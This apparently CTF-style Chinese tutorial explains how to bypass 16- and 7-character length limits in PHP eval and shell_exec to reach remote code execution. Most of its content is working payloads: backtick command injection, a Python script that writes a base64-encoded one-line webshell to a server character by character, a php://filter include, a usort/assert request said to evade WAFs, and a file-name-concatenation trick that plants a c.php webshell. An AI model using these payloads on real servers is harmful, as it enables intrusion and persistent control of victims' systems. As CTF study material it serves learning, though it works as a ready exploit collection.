RCE-eval长度限制绕过技巧

目录

限制16字符

题目源码

[方法一:`_GET\[1\]\`](#方法一:`_GET[1]`)

方法二:file_put_contents

[方法三:usort(..._GET);](#方法三:usort(…_GET);)

限制7字符

题目源码


限制16字符

题目源码

php 复制代码
<?php
$param = $_REQUEST['param']; If (
strlen($param) < 17 && stripos($param, 'eval') === false && stripos($param, 'assert') === false
) {
eval($param);
}

题目分析:传参的长度不能长于17,并且不能存在eval和assert

方法一:`$_GET1`

反引号可以执行命令,当我们传入参数时,反引号里面的内容会被执行,然后再传给param接收,此时如果我们通过参数1注入我们想要执行的命令,那我们的命令将会被执行。

注意:eval作为函数执行时后面必须有封号(;)

php 复制代码
?param=echo`$_GET[1]`;&1=ls

结果如下:

命令执行成功,此方法较为简单!

方法二:file_put_contents

通过查阅官方文档发现,需要写入三个参数:第一个参数是要被写入数据的文件名,第二个参数是要写入的数据,第三个参数是如果文件 filename 已经存在,追加数据而不是覆盖。

如果我们传入的payload是这样的,很明显长度超过了限制

php 复制代码
param=$_GET[1](filename,Data,FILE_APPEND);&1=file_put_contents

但是通过查阅资料我发现,第三个参数在php底层C语言中可以用8表示

所以我们的payload可以简写为:

php 复制代码
param=$_GET[1](N,D,8);&1=file_put_contents

N:代表文件名 D:代表写入的参数 8:代表追加

注意:使用file_put_contents函数需要设置文件所属主、组为www-data,不然权限不够

所以我们可以将一句话木马一个一个的传入我们的文件N中,但是使用file_put_contents这个函数时无法对一些特殊字符生效,所以我们得将一句话木马进行base64编码。

可以编写一个简单的python脚本解决

python 复制代码
import requests

string = "PD9waHAgZXZhbCgkX1BPU1RbOV0pOw"

for i in string:
    payload = "http://192.168.26.129/web.php?param=$_GET[1](N,{},8);&1=file_put_contents".format(i)
    response = requests.get(payload)
    if response.status_code == 200:
        print(i)
    else:
        print(response.status_code)

可以看到我们已将一句话木马写入文件N中

然后在传入以下payload:

php 复制代码
param=include$_GET[0];&0=php://filter/read=convert.base64-decode/resource=N

命令执行成功!

方法三:usort(...$_GET);

注意:此方法为php5的特性

XML 复制代码
POST /web.php?1[]=test&1[]=var_dump($_SERVER);&2=assert HTTP/1.1
Host: localhost:8081
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 22

param=usort(...$_GET);

利用抓包工具进行抓包,然后将包修改为如上:

原理解析:

GET变量被展开成两个参数['test', 'phpinfo();']assert,传入usort函数。usort函数的第二个参数是一个回调函数assert,其调用了第一个参数中的phpinfo();

命令执行成功,此方法基本无视任何WAF!

限制7字符

题目源码

php 复制代码
<?php
$param = $_REQUEST['param'];
if ( strlen($param) < 8 ) { 
	echo shell_exec($param);
}

使用之前的方法发现长度都超出限制

Linux中可以用>0创建一个文件名为0的文件

所以我们可以将一句话木马一个一个的创建文件,然后通过文件名排列组合拼接在一起形成一句话木马

ls -t以创建时间来列出当前目录下的所有文件

文件列表以换行符分割每个文件

引入\转义ls时的换行

换行不影响命令执行

成功构造任意命令执行,写入webshell

php 复制代码
echo PD9waHAgZXZhbCgkX0dFVFsxXSk7 | base64 -d > c.php

因为我们得用时间排序,所以得倒着创建文件

php 复制代码
?param= >hp
?param=>c.p\\
?param=>d\>\\
?param=>\ \-\\
?param=>e64\\
?param=>bas\\
?param=>7\|\\
?param=>XSk\\
?param=>Fsx\\
?param=>dFV\\
?param=>kX0\\
?param=>bCg\\
?param=>XZh\\
?param=>AgZ\\
?param=>waH\\
?param=>PD9\\
?param=>o\ \\
?param=>ech\\

此时可以看到生成的文件(截图不完整):

c.php已经生成:

然后在浏览器中执行: ?1=phpinfo();

命令执行成功!

相关推荐
天空之城--3 分钟前
MT管理器Android逆向工程完全指南:从入门到实战
android
Anhty1 小时前
2026九月最新变声器测评:iOS安卓双端适配,低延迟运行更稳定
android·人工智能·功能测试·ios·智能手机
渡我白衣3 小时前
并查集:基础认识与模拟实现
android·java·javascript·数据结构·c++·算法·并查集
Android-Flutter5 小时前
flutter GetX 详解
android·flutter
MyFreeIT6 小时前
Android Manual
android
hai_android7 小时前
AIDL 实现 IPC 进程间通信
android·android studio
AFinalStone8 小时前
Android 7系统无障碍服务(五)AccessibilityNodeInfo 的构建与查询
android·无障碍服务
今天要早睡_9 小时前
C++ 核心语法速过:命名空间、引用、函数重载与 nullptr 深度解析
android·java·c++
啦啦啦~~~22210 小时前
PC端+安卓端阅读器推荐!开源本地小说阅读器软件,
android·论文阅读·windows·开源软件·福昕阅读器
Crazy_MT11 小时前
Android Studio 运行 Flutter iOS 真机白屏,但 Xcode 和命令行正常的排查记录
flutter·android studio